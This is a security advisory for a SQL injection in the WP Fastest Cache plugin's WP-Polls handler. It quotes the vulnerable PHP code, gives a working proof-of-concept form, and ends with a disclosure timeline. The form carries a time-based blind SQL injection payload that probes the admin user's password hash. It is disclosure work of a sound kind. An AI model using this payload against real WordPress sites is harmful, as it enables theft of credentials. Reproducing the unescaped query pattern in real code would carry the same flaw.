For this vulnerabilities also WP-Polls needs to be installed.
Everyone can access wpfc_wppolls_ajax_request().
File: wp-fastest-cache\inc\wp-polls.php
public function hook(){
add_action( 'wp_ajax_nopriv_wpfc_wppolls_ajax_request', array($this, "wpfc_wppolls_ajax_request"));
add_action( 'wp_ajax_wpfc_wppolls_ajax_request', array($this, "wpfc_wppolls_ajax_request"));
}
$_POST["poll_id"] is not escaped properly because mysql_real_escape_string() only escapes \x00, \n, \r, \, ', " and \x1a.
File: wp-fastest-cache\inc\wp-polls.php
public function wpfc_wppolls_ajax_request() {
$id = strip_tags($_POST["poll_id"]);
$id = mysql_real_escape_string($id);
$result = check_voted($id);
if($result){
echo "true";
}else{
echo "false";
}
die();
}
So we can put SQL Injection inside check_voted_ip() or check_voted_username because $poll_id is not escaped.
File: wp-polls\wp-polls.php
function check_voted($poll_id) {
$poll_logging_method = intval(get_option('poll_logging_method'));
switch($poll_logging_method) {
// Do Not Log
case 0:
return 0;
break;
// Logged By Cookie
case 1:
return check_voted_cookie($poll_id);
break;
// Logged By IP
case 2:
return check_voted_ip($poll_id);
break;
// Logged By Cookie And IP
case 3:
$check_voted_cookie = check_voted_cookie($poll_id);
if(!empty($check_voted_cookie)) {
return $check_voted_cookie;
} else {
return check_voted_ip($poll_id);
}
break;
// Logged By Username
case 4:
return check_voted_username($poll_id);
break;
}
}
function check_voted_ip($poll_id) {
global $wpdb;
$log_expiry = intval(get_option('poll_cookielog_expiry'));
$log_expiry_sql = '';
if($log_expiry > 0) {
$log_expiry_sql = 'AND ('.current_time('timestamp').'-(pollip_timestamp+0)) < '.$log_expiry;
}
// Check IP From IP Logging Database
$get_voted_aids = $wpdb->get_col("SELECT pollip_aid FROM $wpdb->pollsip WHERE pollip_qid = $poll_id AND pollip_ip = '".get_ipaddress()."' $log_expiry_sql");
if($get_voted_aids) {
return $get_voted_aids;
} else {
return 0;
}
}
function check_voted_username($poll_id) {
global $wpdb, $user_ID;
// Check IP If User Is Guest
if (!is_user_logged_in()) {
return 1;
}
$pollsip_userid = intval($user_ID);
$log_expiry = intval(get_option('poll_cookielog_expiry'));
$log_expiry_sql = '';
if($log_expiry > 0) {
$log_expiry_sql = 'AND ('.current_time('timestamp').'-(pollip_timestamp+0)) < '.$log_expiry;
}
// Check User ID From IP Logging Database
$get_voted_aids = $wpdb->get_col("SELECT pollip_aid FROM $wpdb->pollsip WHERE pollip_qid = $poll_id AND pollip_userid = $pollsip_userid $log_expiry_sql");
if($get_voted_aids) {
return $get_voted_aids;
} else {
return 0;
}
}
Proof of Concept
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
<input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
<input type="submit" value="Send">
</form>
This SQL will check if first password character user ID=1 is "$".
If yes, it will sleep 5 seconds.
Timeline
- 07-04-2015: Discovered
- 07-04-2015: Vendor notified
- 12-04-2015: Version 0.8.4.9 released, issue resolved